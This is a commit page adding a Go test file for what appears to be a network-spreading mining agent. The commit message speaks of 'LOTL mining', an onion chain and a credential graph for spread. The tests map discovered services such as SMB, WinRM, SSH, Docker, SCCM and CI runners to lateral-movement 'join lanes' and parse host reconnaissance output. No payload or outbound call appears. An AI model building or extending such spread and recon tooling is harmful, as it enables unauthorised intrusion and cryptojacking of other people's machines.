Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
126
agent/deploy/service_discovery_test.go
Normal file
126
agent/deploy/service_discovery_test.go
Normal file
@@ -0,0 +1,126 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestJoinLaneForSignal(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
port int
|
||||
want string
|
||||
}{
|
||||
{"LanmanServer", 0, "smb"},
|
||||
{"smb", 445, "smb"},
|
||||
{"winrm", 5985, "winrm"},
|
||||
{"sshd", 22, "linux"},
|
||||
{"docker", 0, "docker"},
|
||||
{"CCMEXEC", 0, "gpo"},
|
||||
{"gitlab-runner", 0, "bits_curl"},
|
||||
{"jenkins", 8080, "bits_curl"},
|
||||
{"unknown-svc", 9999, ""},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
got := JoinLaneForSignal(tc.name, tc.port)
|
||||
if got != tc.want {
|
||||
t.Fatalf("%s:%d => %q, want %q", tc.name, tc.port, got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestMergeServiceGraphHosts(t *testing.T) {
|
||||
base := map[string]ServiceGraphHost{
|
||||
"10.0.0.5": {
|
||||
Host: "10.0.0.5",
|
||||
Subnet: "10.0.0",
|
||||
Services: []ServiceGraphEntry{
|
||||
entryWithLane("smb", 445, "lan_port"),
|
||||
},
|
||||
},
|
||||
}
|
||||
merged := MergeServiceGraphHosts(base, ServiceGraphHost{
|
||||
Host: "10.0.0.5",
|
||||
Subnet: "10.0.0",
|
||||
Services: []ServiceGraphEntry{
|
||||
entryWithLane("smb", 445, "lan_port"),
|
||||
entryWithLane("winrm", 5985, "lan_port"),
|
||||
},
|
||||
}, ServiceGraphHost{
|
||||
Host: "10.0.0.12",
|
||||
Subnet: "10.0.0",
|
||||
Services: []ServiceGraphEntry{
|
||||
entryWithLane("ssh", 22, "lan_port"),
|
||||
},
|
||||
})
|
||||
if len(merged) != 2 {
|
||||
t.Fatalf("hosts = %d", len(merged))
|
||||
}
|
||||
if len(merged["10.0.0.5"].Services) != 2 {
|
||||
t.Fatalf("10.0.0.5 services = %v", merged["10.0.0.5"].Services)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseWindowsDiscoverFixture(t *testing.T) {
|
||||
fixture := `{"services":[{"name":"CCMEXEC","status":"running"},{"name":"tcp/5985","port":5985,"status":"listening"},{"name":"LanmanServer","status":"running"}],"hints":["domain_joined","docker_pipe"]}`
|
||||
entries, hints := ParseWindowsDiscoverFixture(fixture)
|
||||
if len(entries) != 3 {
|
||||
t.Fatalf("entries = %v", entries)
|
||||
}
|
||||
if entries[0].JoinLaneCandidate != "gpo" {
|
||||
t.Fatalf("CCMEXEC lane = %q", entries[0].JoinLaneCandidate)
|
||||
}
|
||||
if entries[1].JoinLaneCandidate != "winrm" {
|
||||
t.Fatalf("winrm lane = %q", entries[1].JoinLaneCandidate)
|
||||
}
|
||||
if len(hints) != 2 || hints[0] != "domain_joined" {
|
||||
t.Fatalf("hints = %v", hints)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseSystemctlListUnitsFixture(t *testing.T) {
|
||||
fixture := `UNIT LOAD ACTIVE SUB DESCRIPTION
|
||||
docker.service loaded active running Docker Application Container Engine
|
||||
ssh.service loaded active running OpenBSD Secure Shell server
|
||||
gitlab-runner.service loaded active running GitLab Runner`
|
||||
entries := ParseSystemctlListUnitsFixture(fixture)
|
||||
if len(entries) != 3 {
|
||||
t.Fatalf("entries = %v", entries)
|
||||
}
|
||||
if entries[2].JoinLaneCandidate != "bits_curl" {
|
||||
t.Fatalf("gitlab lane = %q", entries[2].JoinLaneCandidate)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseServiceDiscoverJSON(t *testing.T) {
|
||||
raw := `noise before json
|
||||
{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.1.2.3","subnet":"10.1.2","services":[{"service_name":"docker","join_lane_candidate":"docker","source":"passive_hint"}]},"lan_hosts":[{"host":"10.1.2.50","subnet":"10.1.2","services":[{"service_name":"smb","port":445,"join_lane_candidate":"smb","source":"lan_port"}]}],"passive_hints":["docker_socket"]}`
|
||||
result, err := ParseServiceDiscoverJSON(raw)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Local.Host != "10.1.2.3" || len(result.LANHosts) != 1 {
|
||||
t.Fatalf("result = %+v", result)
|
||||
}
|
||||
}
|
||||
|
||||
func TestServiceDiscoverResultRoundTrip(t *testing.T) {
|
||||
result := ServiceDiscoverResult{
|
||||
ProbedAt: "2026-06-06T12:00:00Z",
|
||||
Local: ServiceGraphHost{
|
||||
Host: "192.168.1.10",
|
||||
Subnet: "192.168.1",
|
||||
Services: []ServiceGraphEntry{
|
||||
{ServiceName: "WinRM", Port: 5985, JoinLaneCandidate: "winrm", Source: "local_service"},
|
||||
},
|
||||
},
|
||||
}
|
||||
b, err := json.Marshal(result)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(string(b), `"join_lane_candidate":"winrm"`) {
|
||||
t.Fatalf("json = %s", string(b))
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user